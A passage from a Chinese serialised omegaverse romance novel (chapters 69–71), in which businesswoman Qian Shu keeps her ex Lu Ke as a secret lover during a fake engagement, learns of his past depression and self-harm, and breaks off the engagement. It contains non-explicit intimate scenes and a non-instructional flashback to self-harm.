“大家都是成年人,酒醉以后一夜情不是一件稀奇事。当然这次是我开的头,我会承担主要责任。” “一夜情?”陆恪蹙着眉,连嘴唇都在轻颤,“你把昨晚当做一夜情?” “你还要赔偿我?怎么赔偿我。”陆恪冷笑一声,一滴泪倏忽落下。 “是不是在你眼里,我就跟那些那些出来卖的鸭没什么区别,约一炮,随便扔一点钱就打发了,自甘堕落。” 陆恪都不知道自己怎么说出来这些自贱的话,他只感觉自己的心都麻木了,好像感觉不到痛。 千述皱眉,道:“我不是这个意思。” “那你是什么意思!”陆恪突然大声道,哽咽着,“千述,难道你这么讨厌我。在你眼里,我就这么下贱?!” 什么跟什么啊! 千述简直听不下去:“我从来没有这么想过你。” “但是陆恪,我们已经分手了。” “没有分手!”陆恪语气执拗,“我没同意分手。” 千述语塞,突然不知道要说什么,她不想再跟他争辩,觉得很难沟通。千述拿着自己的衣服就准备离开。 alpha死死抓住千述的手,他的手在细微的抖。随后将双手环上千述的腰间,紧密的贴着她。 “是不是因为何延齐” 陆恪就像是一下子收住了所有的眼泪,所有的情绪。他眼神变得黑沉扭曲,难以看透。 “千述,你是因为他才不接受我的吗?” “可是千述,你喜欢我的身体,不是吗?何延齐他是beta,古板无趣。他能让你尽兴吗?他会让你把那些工具用在他身上吗?” “但是我可以, 千述,留下我好不好,我偷偷的,不会让你的未婚夫发现。” “这个合同需要您签字确认一下,还有这个报表,财务部今天上来交上来的,让您过目。” 窗明几净的办公室里,龚阳阳将手上的材料放到千述的桌上,就看见千述握着笔有些发愣。 龚阳阳抬手在千述面前轻轻的挥了挥,道:“老板,回神了。” 千述的心神瞬间被拉了回来。 她捏了捏眉心,道:“抱歉,刚刚没听清,你再说一遍。” “就是最近谈好的合同需要您这边签字一下。还有财务部把这个季度的报表发给您了,让你看一下。”龚阳阳快速把工作重复了一边。 “好,我马上就处理。”千述接过财料。 龚阳阳站在原地,关心道:“老板,你最近是不是太累了,怎么老看你发神。” 因为龚阳阳和千述在以前的时候有过合作,也算是共患难过,所以跟千述的关系要比普通的上下级亲密一些。 千述愣了一下:“还好。” 累倒是不累,就是有点不适应。 你让她怎么适应,谁也没办法立刻适应高高在上的大少爷给自己当情人 “你什么时候回来?” 千述的手机响了,是陆恪发来的消息。 他虽然说偷偷给千述当情人,但是他不仅拿千述的手机加他的大号,把备注改成爱心,还把他的对话框置顶,排在所有人的上面。 这么霸道,有当情人的自觉吗? 千述也没管他,随他操作。 “可能还有半个小时才能下班。”千述回复。 陆恪立刻给她拍了一张照片过来,是他穿着家居服带着围裙的照片,哦,还没穿上衣。 陆恪又发来消息,他非常喜欢发一堆消息,零零碎碎的,千述没回。 把目光放在了工作上,如果不处理完,又要加班了。 千述回去的时候,陆恪正拿着锅铲在炒菜。 厨房的光落在他的背影上,一下子就有那种温顺柔和的感觉。他穿着家居服,上下都穿了,刚刚拍照不穿上衣,系个围裙就是发过来勾引千述的。 千述站在厨房外面看着,会觉得有点恍惚。就好像一下子把时间拉回了四年前,他们关系最好的那段时间。 陆恪也是这样,总是泡在厨房里。 他往门外看,似乎想看千述回来没,然后就看到千述站在他身后。 陆恪立刻扔下手中的锅铲,想要跑过来抱千述,但是走到千述面前,又闻到自己身上淡淡的油烟味,有些嫌弃。 他低头亲了亲千述的唇,就把人推出去:“这里面油烟重,你出去等,一会儿就好了。” 千述没说什么,去换了件衣服,她现在的衣柜里已经塞了不少陆恪的衣服。 他很自觉的,把对面房子里的很多东西都搬了过来,千述家里一下子变得满满当当的。 这样登堂入室的做派,从没见过有那个情人像他这么嚣张。 饭很快做好了,千述坐回餐桌。 陆恪有些期待的看着她,应该是想让千述夸一夸他的。 千述正准备吃,手机突然响了,有人打了视频通话过来。 陆恪看到了屏幕上“何延齐”的三个字。 他的面色一下子就沉了下去,胸口变得很堵,刚才温馨美好的画面破碎,回到了现实。 千述看了他一眼,自觉走到窗边,接通了电话。 “你下班了吗,我妈让你过来吃饭。” “不用了,我已经准备吃饭了。” 何延齐的手机被何母抢了过去,手机上立刻出现何母爽朗的笑意:“小述,你就过来吃饭嘛。” 千述一看到何延齐的妈妈就会变得很乖巧:“阿姨,我已经做好饭了。” “吃的什么,别又是外卖!你一个人工作忙,吃饭也不上心,阿姨心疼的呀!再说阿姨好久都没看见你了,想你的紧,我让延齐来接你。” “我跟你说啊,前段时间我去大理玩,看到一条裙子,可适合你了,穿在你身上肯定好看。你过来带回去试试。” “一定要来啊!家里的人参鸡汤都炖好了。” 何延齐在那边有点无奈,道:“你也看到了,我妈她……要不,过来吃。” 后面又交涉了一番。 千述的电话挂断。 屋里已经陷入了死一般的寂静。 她走到桌边,一时不知道要怎么说。陆恪的眼尾已经红了,他死死的盯着千述。 良久。 “你要去吗?”陆恪哑声道。 千述沉默。 但已经代表她的答案了。 陆恪低笑一声,又因为太难过,笑得很难看。 他猛的起身,凳子与地板发出刮蹭声,陆恪回了卧室,门一甩,发出巨大的声音。 第69章 第69章金屋藏娇 千述回来的时候是何延齐送她回来的,她不仅仅带回了一条裙子。还有何母做的炸酥鱼,以及之前说的从老家给她寄的两箱车厘子,都让千述拿回来。 长辈的爱意总是这样,体会在每次都满满当当的后备箱。 何母东西有点多,千述一个人拿不完,何延齐还帮她一起搬上来的。 玄关门打开的时候,客厅里开着灯,没人,卧室门紧闭着。 “把东西放一边就行,谢谢了。”千述道。 “好。”何延齐答。 何延齐将手里的一箱车厘子放在桌上,他看着桌上做好的饭菜,都是些家常菜,看着色香味俱全,只是有点冷了。 “你厨艺大涨了最近?看着挺好吃的。”何延齐夸奖道。 他依稀记得千述不太会做饭。 “还行。”千述囫囵答道。 “嗯,那我先走了。”何延齐没再说什么。 他又突然想起什么,停了下来:“最近这段时间麻烦你了,可能我们要经常在一起。” 因为这段时间是暑假,何延齐他妹在家里,所以千述会时不时送何延齐回去,或者像今天这样,偶尔吃顿饭,假装合约情侣。 “没事,我应该做的。”千述摆摆手道。 何延齐工作上尽心尽力,若是没有他,项目起步不会这么快。且他的到来,还带来了几位优秀的同门,给公司注入新鲜血液。 千述内心是很感激他的,因此答应了他的事也一定会办好。 两人客气了几句,何延齐就准备离开。 “砰——”卧室里传来声响,似乎是什么东西倒在了地上。 两人都往紧闭的卧室门看过去。 “你家里还有别人吗?”何延齐疑惑问道。 “没,是我最近养了一只猫,有点闹腾。”千述回答,有点无奈。 何延齐笑道:“猫确实金贵,脾气也大,需要你多费心。” 千述深有感触。 何延齐走后,千述在客厅里待了一会儿,她把何母给的东西收拾收拾,该放冰箱就放冰箱。然后又去洗漱,换上睡衣。 等她收拾好回到卧室的时候,已经晚上十点了。床上被子拱起一个弧度,alpha背对着她。 千述掀开被子,躺在他的身侧,她拿着手机处理各类消息,又刷会儿视频。 陆恪一直不肯转过身来,很倔。 一个小时以后,千述熄灯,开始酝酿睡意。 “你去跟你的未婚夫过,还回来做什么?” 黑暗的房间里,传来alpha闷闷的声音。 “这是我家,我为什么不能回来。”千述闭着双眼,好整以暇道。 屋里安静了一瞬,陆恪突然掀开被子,要下床。 千述一把抓住他的手,陆恪挣扎着要抽回手,千述用了一点力,alpha就不动了。 “你去哪里?”千述问道。 “这是你家,我现在就走,给那个beta腾位置。”陆恪声音冷沉,抿着唇。 “你刚刚不是已经把何延齐带回家了吗,怎么不让他多坐坐,害怕让他发现我?”陆恪阴阳怪气,说话带刺。 千述沉默半响,直接把床头灯打开,直直的看着alpha。 昏黄柔和的灯光下,陆恪的眼睛是红的,他别过脸去,不肯与千述目光对视。 “你一定要这么说话?”千述语气冷淡。 “我说的有什么错?那个beta知道你把情人养在家里吗?”陆恪反唇相讥,跟千述针锋相对。 千述看着面前的alpha,放狠话的是他,但是红着眼眶的也是他。 良久 ,千述才开口: “陆恪,你应该摆正你的位置。” “如果你没办法接受我们现在的关系,你可以离开,我不会阻拦你。” 千述松开了陆恪的手,面色沉了下去。陆恪闻言,猛的抬眼,难以置信的看着千述,呼吸发颤。 陆恪猛的把枕头扔在千述身上,哽咽大骂:“千述,你混蛋!” “你现在让我走?你在床。上。操。我的时候怎么不让我走?!你喝醉了,亲我咬我的时候怎么不让我走?!” 陆恪气得要命,手都在抖。 陆恪脾气就是这么差,明明最开始说要走的是他自己,千述只是顺着他的话说,他也不满意。 千述头疼,实在没办法,把人拉进怀里。 亲吻的时候,陆恪咬她,眼泪落在两个人交融的唇舌中。千述刺痛,蹙眉,更深的和他吻在一起。 安静的房间里,只能听见,两道交缠在一起的呼吸声。 “我跟那个beta,你更喜欢谁?”陆恪哑着嗓音,眼皮红红的,直勾勾的看着千述。 “喜欢你。”千述倾身上前,吻了吻他的眼睛。 —————————————— “你人不在A市,A市也变得无聊的很,我爸老让我去公司上班。” S市,陆恪取下头盔,脸都是汗。他把头发随意梳在后面,露出光洁的额头和锐利的眉眼。 方知明走在他身边,絮絮叨叨的说着。 自从陆恪来了S市以后,方知明在A市就郁郁寡欢,怎么玩儿都不得劲儿,怎么玩都差点意思。现在来找陆恪,陆恪抽了一天时间陪他。 两人在之前投资的赛车场跑了几圈,方知明感觉心里爽了。 “公司不还有我哥在嘛,天塌了有我哥顶着。非得让我去上那个破班,天天都要打卡,有一天晚到了十分钟,扣我一百块钱!”方知明怒道。 他很久没见陆恪了,看到陆恪就关不住话匣子。 “你们方家不养闲人,给你发工资都不错了,还挑。”陆恪漫不经心道。 相较于方知明有哥哥在前面顶着,过得轻松惬意,陆恪就没他那么悠闲。陆家出了事,陆恪是一定要上去顶着的。 “也是,”方知明想了一下,欣然接受,“我爸还是爱我的。” 陆恪将头盔放在桌上,他把手机拿出来,低头看消息。 一个小时之前给千述发的消息,千述现在也没回,估计在工作,没看手机。千述很忙,只有抽空的时候,才会回复陆恪的消息。 以前陆恪还因为这件事跟她闹,后来发现闹也没用,已经被迫接受了。 陆恪又在低头给千述发一些没有营养的,零碎的废话。他低着头,因为热把衣服最上面的扣子解开了一颗,露出锁骨弧线。 方知明在旁边喝水,他刚拧开瓶盖,目光就凝在陆恪白皙的脖颈上。然后上前,问道:“陆哥,你脖子上的是什么?” 陆恪眼都没抬,还在打字,随口道:“吻痕。” “!!!”方知明。 “吻痕?!”方知明震惊道,“你谈恋爱了?你能接受跟别人谈恋爱了吗?!” 真的不怪方知明这么惊讶,这四年陆恪是怎么过的,方知明一点一滴的看在眼里的。 当时方知明陪陆恪从医院偷跑出来,来S市找千述,结局大家也知道,并没有太美好。 陆恪回了A市就生了一场大病,高烧不退。他手术没恢复好是一方面,情绪起伏太大是另一方面,因此在医院又呆了半个月。 方知明那个时候就后悔了,不应该帮陆恪去S市找千述的,否则他不会病这么严重。 只是后来,陆恪病好从医院回来以后,整个人就平静了很多,准确来说是沉默。 他表面看起来是很正常的,能够交谈聊天,叫他出去玩他也答应。但方知明就是觉得很不对,陆恪太蔫了。 像是生命力被逐渐抽取的人偶,空有外表,但是里面的芯子是空的。 是有一次,方知明给陆恪打电话,响了一分钟对面都没接。方知明心里就有点慌,去云栖御庭找他。 按响门铃后,很快就有人来开门,方知明心下松了一口气。 “你怎么来了?”陆恪站在门边问道。 不知道是光线原因,还是因为别的,方知明觉得陆恪的唇太白了,白得没有血色。 “陆哥,我给你打电话你都没接,我来看看你。”方知明道。 “哦,我刚刚没看手机,进来吧。”陆恪有气无力的回答。 方知明跟着陆恪进了客厅。那个时候是深秋,快要冬天的样子,A市的温度已经很低了,总之大家都穿上了长袖,怕冷的估计都套上了羽绒服。 但是在家里,陆恪只穿了一件单衣。 方知明走在陆恪身后,很突然的,方知明看到了地上的血迹。 一滴,一滴,方知明沿着滴落的方向往上看。鲜血是从陆恪的衣袖里面流出来,蜿蜒到手背,再沿着指尖滴落下来的。 “陆哥!”方知明悚然大惊,他上去一把握住陆恪的手,焦急道,“陆哥,你手流血了!” 他把陆恪的衣袖推上去,才发现陆恪手臂上有很多的划痕。有些已经愈合成了白色的疤痕,有些才刚刚结痂,有些而最新的一条,还在流着鲜血。 “陆哥,你怎么……”方知明说不出话了。 陆恪只是面无表情的看着,好像这些伤痕不是在他的身上一样。 在那以后,大家才知道陆恪有很严重的抑郁,甚至到了自残的程度。陆凌风给他找心理医生,积极干预,才勉强控制住这些行为。 所以方知明一度以为,陆恪是没有办法再谈恋爱了。 他已经丧失了爱一个人的能力,他连自己的生命都不再爱惜 “所以你说,你脖子上的吻痕是千述给你留的?”方知明捂嘴问道,震惊。 这锁骨上的红痕还不少,其实都是陆恪一定要让千述留的,千述不太想,但是陆恪太磨人了。 两个人来了酒吧,随便喝一点。 “嗯哼。”陆恪轻啜一口杯中的酒,道,“除了她,还能有谁?” “也是。”方知明乍一听,觉得在理。 “不对!”方知明思绪被强行拽回现实,皱眉问道,“千述不是订婚了吗?她跟那个beta未婚夫闹掰了?” 陆恪一听见未婚夫,面色就沉了:“没有。” “没有?”方知明的面色突然变得复杂,意味深长的看着陆恪,“那陆哥你岂不是小三。” 小三说到底还是不光彩的,方知明声音小了些。 “那又怎么样。”陆恪把酒放在桌上,面不改色道。 “订婚又不具备法律效力,千述跟不跟那个beta结婚都不一定,我为什么不能跟她在一起。” “而且,是我先跟千述在一起的,那个beta才是插足我们感情的第三者。” 陆恪这一番言论说得大言不惭,没有任何的羞耻惶恐,把方知明听得一愣一愣的,还能这样解释吗? 但方知明不愧是陆恪的好朋友兼狗头军师,很快就接受了陆恪的这一套言论,甚至还给他出主意。 方知明摸着下巴,思索道:“说实话,千述同意你给她当情人,是不是说明她也没那么喜欢她那个beta未婚夫。” “如果他们感情好,陆哥你根本没机会啊。” 陆恪好整以暇的看着方知明,挑了挑眉 尾,完全同意他说的话。 “他怎么比得上我。”陆恪慢条斯理的开口,语气骄矜。 “那你多跟千述吹吹枕头风,让她把那个未婚夫踹了,陆哥你就可以上位了!”方知明开始出挖墙脚教程。 …… 方知明给陆恪出的挖墙脚教程,陆恪认真听进去了。 陆氏和千言有合作,陆恪在工作上与千述,何延齐接触的机会变多。 陆恪来千言的工厂考察,何延齐作为项目负责人,会陪同在他的身边。 何延齐能看出来这位小陆总心里对自己有敌意,但是陆恪还算是有风度的人,不会公报私仇,没有为难何延齐。 一上午的工作很顺利的完成。 在工厂门口,陆恪对着何延齐道:“今天中午我请何工还有大家吃饭吧。” “顺便再叫上千总。”陆恪勾唇微笑,面上风轻云淡。 千述在公司里处理工作,没有来工厂这边。 何延齐看着陆恪,目光审视。陆恪不动如山,微笑着。 “好的,那就谢谢陆总了。”何延齐道。 聚餐安排在兰亭宴,这是一家江浙菜。 千述是最后到的,她到的时候菜已经快上齐了。千言的人坐在一边,陆氏的人坐在一边。陆恪和何延齐身边分别留了一个空位。 千述停顿一秒,面色自然的坐到了何延齐旁边。 在外人看来,千述跟何延齐就是一对佳偶,十分般配。 千述一到,大家就开始动筷。 “喝茶还是椰汁?”何延齐看向千述,问道。 “茶就行。”千述回答。 何延齐拿起一旁的茶水,给千述倒了一杯。这个动作其实没什么暧昧的,但两个人相处就是很自然。 陆氏那边的人看在眼里。 分公司的经理笑问道:“千总跟何工预计什么时候结婚啊?到时候我一定来随份子钱。” 席间因为谈起这个,大家都言笑晏晏,说以后要来参加他们的婚礼。 千述只说,现在忙,还没考虑结婚的事情。 陆恪面色冷淡,看着千述,薄唇轻轻一勾,也笑:“千总的婚礼,邀请我吗?” 千述抬眼看他,平静道:“小陆总愿意来,自然是荣幸。” 陆恪手里握着茶,喝不下去,又放下,冷笑一声:“届时一定给千总准备份大礼。” 这顿饭大家都吃得挺开心的,除了某人。 千述起身说去一趟洗手间,不一会儿陆恪借故说自己出去接个电话。 何延齐看着两人一前一后的出去的背影,挑了挑眉,没说话,继续吃饭。 千述洗了手出来,被一股力道拉到暗处。 “你不准跟何延齐说话,也不准喝他倒给你的茶。”陆恪咬牙道。 嗯,确认是在闹脾气。 千述没说话,促狭的看着他。 陆恪更生气:“你还要跟他结婚?结了婚我怎么办,在外面买套房子继续养我?” 千述真觉得他好可爱,轻笑一声:“到时候我金屋藏娇。” 陆恪不依,千述勾住他的脖颈,把人拉下来,吻上去。 陆恪的脾气突然就泄了。 黑暗的空间里,唇舌纠缠的水声格外清晰。陆恪喘着气,脑袋发晕,没忍住低哼一声。 千述松开他,陆恪面容潮红,嘴唇红肿。 “现在满意了?”千述笑道。 陆恪哼了一声。 第70章 第70章我都愿意 “你跟小陆总在一起了?” 吃了饭以后,千述跟何延齐都要回公司,众人都很有眼色的让他们单独走,没去蹭那辆车。 “很明显吗?”千述微笑,心情甚好。 何延齐转头看她一眼,不疾不徐道:“挺明显的,小陆总唇都被咬破了。” 在席间的时候还针锋相对,出去了一趟回来,陆恪连脾气都没了,眉眼含着春色,时不时瞪千述一眼。 “没忍住力度,重了一点。”千述面不改色,自然道。 “那你跟小陆总说了我们的事吗?我看他好像还误会着我们的关系。”何延齐目视前方,一边开车一边问道。 千述懒洋洋的靠在椅背上,道:“没跟他说。” “他现在这样挺可爱的。” 千述跟何延齐的关系,说到底都是假的,过一段时间也就散了,告诉陆恪也无所谓。 但是千述没说,她很恶趣味的享受陆恪这种罔顾世俗伦理的喜欢,就跟飞蛾扑火似的,义无反顾的来到千述身边。 这让千述有一种灵魂被热烈的爱意滋养的感觉。 “不过,我想我们的关系可能需要早点结束了。”千述语气正经了一点,看向何延齐。 毕竟千述也不可能真的让陆恪当自己的情人。这样的关系一段时间还好,估计时间久了大少爷的脾气压不住,不知道又要闹出什么事情。 “你那边没事吧,会影响到你吗?”千述问道。 千述指的是何延齐跟他妹妹之间的事情。 何延齐睫毛轻颤,沉默半晌,道:“没事,不影响的。” “她过两天就提前回校了,她说以后要定居在德国,不会再回来。” 车厢里的气氛一时陷入沉默,何延齐紧抿着唇,不再讲话。 千述也识趣的没有过多询问。 …… 陆恪是不介意跟千述这样不清不楚的在一起,但是陆恪的父亲是非常不能接受的。 本来陆凌风不知道这件事,主要是因为陆恪太张扬了。 陆恪是那种八百年不会发朋友圈的人,他不喜欢分享生活,所以他朋友圈空空如也。 但是他自从跟千述在一起以后,在S市这段时间,几乎两三天一条朋友圈。 频率之高,一度让那群狐朋狗友以为陆恪被盗号了,纷纷给他发消息。 陆恪发的内容也十分单一,主要就是分享自己做的美食,非常心机的拍了桌上两个吃饭的碗,并且配上那种“三餐四季,幸福在当下”的文案。 有时候还会超绝不经意的让千述的手出镜,有时候这双手拿着筷子,有时候这双手捏着汤勺。 不少人给陆恪点赞,情商高的还会祝福999,陆恪都好脾气的回复大家。 作为父亲,陆凌风肯定第一时间就注意到了儿子的异常。 他脑子里那根弦顿时绷紧。 S市实在是一个太敏感的地方,陆凌风不得不多想。他立即让人暗中调查。 助理很给力,第二天就给陆凌风汇报了两个消息。 “千总没有跟她的beta未婚夫分手,两人在公司时常一起工作。”助理正经道。 陆凌风闻言,心下一松,千述都没分手,那应该不是她。 “第二个消息呢?”陆凌风问道。 助理犹豫片刻,还是如实说了:“小陆总现在跟千总在同居,已经有一段时间了。” “什么?同居!”陆凌风大惊。 “目前得到的消息是这样的。小陆总刚到S市买了一套房子,就在千总对面。过了一段时间,小陆总直接搬进千总的房子里了,住到现在。” 陆凌风觉得天塌了。 “你先出去,我冷静一下。”陆凌风扶额,难以消化这个消息。 “好的。”助理退了出去,贴心的为他关上门。 办公室,陆凌风深深的叹了一口气。这样看起来,似乎是自己的儿子死缠烂打,纠缠着千述不放。 他刚到S市,买房买在千述对面。陆恪打的什么主意,陆凌风用脚想都想得出来。 陆凌风真是气急败坏,怒其不争。 他亲自去了一趟S市,约见千述。 时隔四年,再次见到千述的时候,陆凌风还是惊讶了一下。 千述身上的变化很大,更沉稳从容,身姿更加挺拔,完全没有读书的时候沉默阴郁的感觉。 “坐。”陆凌风道。 千述颔首,坐在了陆凌风的对面。 他们依旧约在了茶室,外面院里种着青竹,风一吹,竹叶沙沙作响。 这场景跟四年前何其相似,只是那天阴沉,风刮的凶猛。但是今天阳光晴朗,气候温和 。 陆凌风垂首,把冲泡好的茶水,倒了一杯递给千述。 “谢谢。”千述道谢,接过茶杯。 陆凌风抬眼看着千述,神情有些锐利:“听说你订婚了,对象是一个beta。” “嗯。”千述轻轻抿了一口茶。 “那你跟陆恪同居,你不怕你未婚夫知道?”陆凌风语气里隐隐透着威胁。 千述微微一笑,道:“不怕。” “……”陆凌风气结。 事关陆恪的终身幸福,陆凌风很难平静:“你知道若是东窗事发,世人要怎么看待陆恪?定然说他不知廉耻,纠缠于你。” “他自己愿意的不是吗?我没逼他。”千述慢悠悠道,满不在乎的样子。 陆凌风语塞,因为这是事实。 他退而求其次道:“那你宣布跟那个beta分手,再跟陆恪结婚。陆氏的继承人不可能给别人当情人。” 千述挑了挑眉,没说话。 “你知道的,陆恪为了你,付出很多。他腺体受损,造成不可逆损伤,前两年多次自残,这些你知道吗?”陆凌风问道。 千述神色微微一动,面上有些惊讶。 上次千述问他,腺体伤得严重吗,陆恪只轻飘飘的揭过,他说还好。 陆凌风一看千述的表情,就清楚她不知道:“也是,陆恪怎么可能把这些不好的事说给你听。” 陆恪巴不得跟千述的感情顺风顺水,过往一切的痛苦都不要再提起。 “你看看这个。” 陆凌风把一旁的文件袋递给千述,这里面有陆恪这几年的病例资料,包括腺体受损检测,抑郁自残的心理评估,等等。 千述接过,垂首看着。 alpha信息素分泌障碍,信息素浓度降低。颈后腺体萎缩,腺泡密度减少40%。信息素释放迟钝,易感期紊乱。 千述又打开第二份病例。 重性抑郁发作,伴随有非自杀性。行为,双臂多处陈旧性线性疤痕。情感麻木,有强烈自我厌恶感。睡眠连续性障碍,体重下降明显。 茶水里只有茶水沸腾,发出的“咕噜咕噜”的声音,千述低垂着眉眼,沉默着,许久都没有说话。 空气陷入凝滞。 千述把病例收起来,一一放好。陆凌风看她不说话,有点着急。 “你也看到了,陆恪他连命都不要了。就算你不是真心的跟他在一起,你也别玩弄他。” “谁说我不是真心跟他在一起的?”千述抬眼,淡淡道。 “可是你已经订婚了,你让陆恪怎么办!难道你真把他养在外面,当你的情人?”陆凌风真的又气又心疼。 他气陆恪不爱惜自己,偏偏就认定了千述,甚至不惜自降身价来当她外面的三。又心疼陆恪,一片真心错付,喜欢上这样一个冷心冷情的人。 “我会取消婚约。”千述开口,打断了陆凌风的哀怨愁思。 陆凌风震惊:“你会取消婚约?!” “什么时候取消,你跟那个beta商量过吗,你未婚夫那边能够接受?你莫不是在哄骗我!”陆凌风接连发问。 千述没多解释,离开了茶室。 …… 陆恪是在下班回去的时候,才知道陆凌风来了S市,并且已经跟千述见过面了。 千述还没下班,陆恪一个人心神不宁。不知道陆凌风和千述又说了什么,或者又做了什么交易。 过往痛苦的记忆涌了上来。千述利用自己跟陆凌风做交易,然后答应离开自己。 这次呢?这次又做了什么交易,又要怎么对待自己,再次抛弃他吗? 陆恪觉得有点喘不上气来。 千述回来的时候面上没有任何情绪,平静的吃着饭。陆恪坐在她的对面,时不时抬头看她,焦灼的要命。 “怎么了,有事跟我说吗?”千述抬眼看他,问道。 “没,没事。”陆恪掩饰性的喝了一口汤。他不敢问,害怕是难以接受的结果。 晚上的时候,陆恪很主动的亲吻千述,衣服松松垮垮的穿在他的身上。千述掰过陆恪的脸,手指摩挲着他柔软的唇,直直的看着他。 陆恪不敢跟千述对视,睫毛轻颤,张开唇,含着千述的指尖,轻轻舔着。 “想要?”千述漫不经心道。 “嗯。” …… 很深很深的缠绵的时候,陆恪喘着气,迷蒙着双眼看向千述。 女beta清瘦柔和,面上的情绪总是淡淡的,让人看不透她在想什么。但是在陆恪迷离,陷入欲/望时。 千述看向他的身体是带着欣赏的。 他想,他真的太爱千述了。 千述扣着陆恪的手,沿着手腕往上摸,然后摸到了他手臂上那些很淡的疤痕,很多条,与其他肌肤的触感不同。 尤其是手腕上那条,最为严重,可见当时多危险。平时陆恪戴着手表,所以千述没有注意到。 “为什么要伤害自己?”千述摩挲着这些伤痕,轻声问道。 “嗯?”陆恪轻喘着,面色潮红,整个人晕晕乎乎的,脑子里还没反应过来千述在说什么。 千述停下动作,看着身下的陆恪,重复的问了一遍:“为什么要伤害自己?” 快感戛然而止,陆恪哼了一声,有些不满。迷蒙的脑袋清醒一瞬。 陆恪对上千述冷静的眼神,他突然意识到千述的指尖正抚摸着那些伤口,陆恪心中一慌,猛的收回自己的手,不让千述触碰。 原本缠绵的,甜滋滋的,像麦芽糖拉丝一样的空气,突然冷却,凝滞。 “你过去四年抑郁症严重,曾经多次自残,严重到进医院,是吗?”千述的语气平淡冷静,像无情无欲的判官。 “可是我现在已经好了!”陆恪着急的解释,脸上的情。潮消散,面色一下子变得惨白。 千述没有说话,她强势的拉着陆恪的手。手臂上的伤痕一下子暴露在灯光下,无处躲藏。 “最严重的时候,你割腕被护士发现,为此住了很久的院。”千述看着伤痕,觉得眼睛刺痛。 “千述,我已经很久很久没有那样了,不会影响到生活,也不会影响到你的!医生都说我已经好了很多了!” 陆恪想要抽回自己的手。他害怕千述这样跟他说话,没有任何情绪的,就像她当时提分手那样,也是这样冷漠。 陆恪觉得,是他当时行为太过激了,吓到了千述,所以千述才彻底离开他。 他不想让千述觉得他太病态,是个疯子,所以陆恪从不在千述面前提那段黑暗的日子。 “千述,你别担心,真的,我已经好了,你别觉得我麻烦,我现在很正常的。” 陆恪已经着急到有些语无伦次,心慌意乱的解释着,情绪有点崩溃。千述肯定知道了,知道了他想要掩饰的那些病态的过去。 千述叹息一声,心情十分复杂。 自从和陆凌风交谈以后,千述整个人的心绪都不太平静,说不上是心疼还是别的,总之有点堵。 “你怎么这么傻,爱情比生命更重要吗?”千述低声问道。 这是千述和陆恪最大的不同,千述是可以为了很多东西抛弃爱情的人。而陆恪是可以为了爱情抛弃很多东西的人。 “疼吗?”千述问道。 她捉过陆恪的手腕,在伤疤的地方轻轻吻了吻。很温柔,很有耐心,像是对待珍惜的宝贝。 陆恪呆愣的看着千述的动作,眼眶一下子就红了。 “疼。”陆恪哽咽道。 “可是千述,我当时太想你了,想你想得很痛苦的时候,我就在手臂上划一道伤痕,心脏就没那么疼了。” “我不想这样的,但是我控制不住。我后面很努力去干预了,千述,我真的不是疯子,你别觉得我麻烦,也别丢掉我。” 陆恪真的太难过了,那些过往的情绪像潮水一样向他涌来,把他淹没。 千述将人抱在怀里,轻抚他的背。陆恪头埋在千述的颈窝里,温热的泪沾湿她的发。 在情绪平稳的时候,夜已经很深了。陆恪亲吻千述的唇角,很依恋的亲,轻声道: “千述,我觉得现在已经很幸福了,无论是什么身份陪伴在你身边,只要是在你的身边,我都愿意。” “千述,我都愿意。” “嗯,我知道了。”千述平和道。 第71章 完结章 第71章 第71章完结章 “在敦煌遇见你,那时候可惜你跟延齐没有缘分。没想到后面又遇见了,我心里开心,觉得是老天爷促成你们的姻缘。” 沙发上,何母拉着千述的手,话语间有些感叹。 “没想到今天你来是说退婚的事,是闹什么矛盾了吗?可以说出来一起解决的。”何母柔声问道。 何母是极喜欢千述这个姑娘的,当初看到第一眼就喜欢,自然不愿意看到千述离开。 千述跟何延齐对视一眼,何延齐摇头:“不是,没闹矛盾。” “妈,我跟千述还是更适合做朋友,退婚是我们二人深思熟虑之后做下的决定,并不是意气用事。”何延齐道。 “小述,你也是这样想的?”何母看向千述,还是想再争取一下。 千述沉默半响,点头道:“是的阿姨,这是我跟何延齐商量以后决定的。” 千述跟何延齐的这段关系,别人的看法千述可以不在乎。唯独对何延齐的妈妈,千述特别担心她的看法,害怕她因此失望。 何母对待千述可谓是关怀备至,时常念着她,有什么好的都想着她,这样柔和的爱意,千述只在千朝身上感受过。 何母心里有点难受,不过还是选择尊重:“你们年轻人商量好了,我也不会多插手。” 临走时,何母出来送千述,她轻轻拥抱千述,微笑着说:“小述,以后常过来吃饭。不能因为跟延齐分开了,也不理阿姨了。” “不会!”千述忙解释道,“怎么可能不理阿姨!” “阿姨会生我的气吗?因为我跟何延齐分开。”千述还是低声问了出来,垂眼看着地面。 “你这小丫头!我怎么可能生你的气!”何母嗔笑道,挽着千述的手。 “不合适分开也正常,就算你和延齐不能结婚,也还是朋友,阿姨这里也永远欢迎你过来。” …… 回来的时候,是何延齐开车送她的。车停在小区外,路灯下面。 何延齐下车送她到楼下,现在是傍晚,暮色四合,天空处在将暗未暗的蓝调时刻。周围不少人都在饭后消食散步,千述跟何延齐也慢悠悠的走着。 “千述,谢谢你帮我这么多,还给你跟小陆总的关系造成了困扰,实在不好意思。” 何延齐的声音干净温润,没什么攻击力。他很客气的跟千述致歉,礼貌温和。 千述抬眼看他,揶揄道:“这算帮你吗?我以为我们是互惠双赢。项目的事情你付出很多,你知道当初我为了挖你过来,费了多少心思吗!” 何延齐微微一笑,道:“在德国的时候吗?” “对啊!”千述道。 “那时候听说你还有半年毕业,准备回国,那么多人抢着要你,我心里也着急。给你发了挺多邮件的,你也不回。” “不是不回,实在是有些邮件没看到。那段时间要毕业,需要处理很多事情,忙昏头了。”何延齐笑着解释。 千述也笑:“所以我也挺感谢你选择了千言。” 他们两个人除了没有爱情,在其他很多方面都十分适配。同为beta,性格都是克制温和,很多想法出奇一致。 相比起伴侣,他们可能更适合成为并肩的伙伴。 “就送到这儿吧,我要上去了。”千述道。 两个人停在小区楼下,夜风吹逐掠影,带着白日的余温。灯光落在两个人身上,朦胧柔和。 何延齐上前轻轻拥抱千述,温和道:“总之还是要谢谢你。千述,祝愿你幸福。” 千述一怔,随后笑道:“你也是。” 两人的拥抱很轻,一触即分,很克制礼貌,没有太多的暧昧 千述上去的时候,屋里关着灯,黑黢黢的一片,千述挑了挑眉,有点惊讶。 居然人不在。 千述进门,开灯。她打开手机,发现两个小时以前,陆恪给她发了消息,问她想吃什么,什么时候下班。 但是千述当时在何延齐家里,正在跟何母说退婚的事情,没有看到他的消息。 现在已经过去很久了。 千述点开对话框,给对面发了个消息。 “出去了吗?” 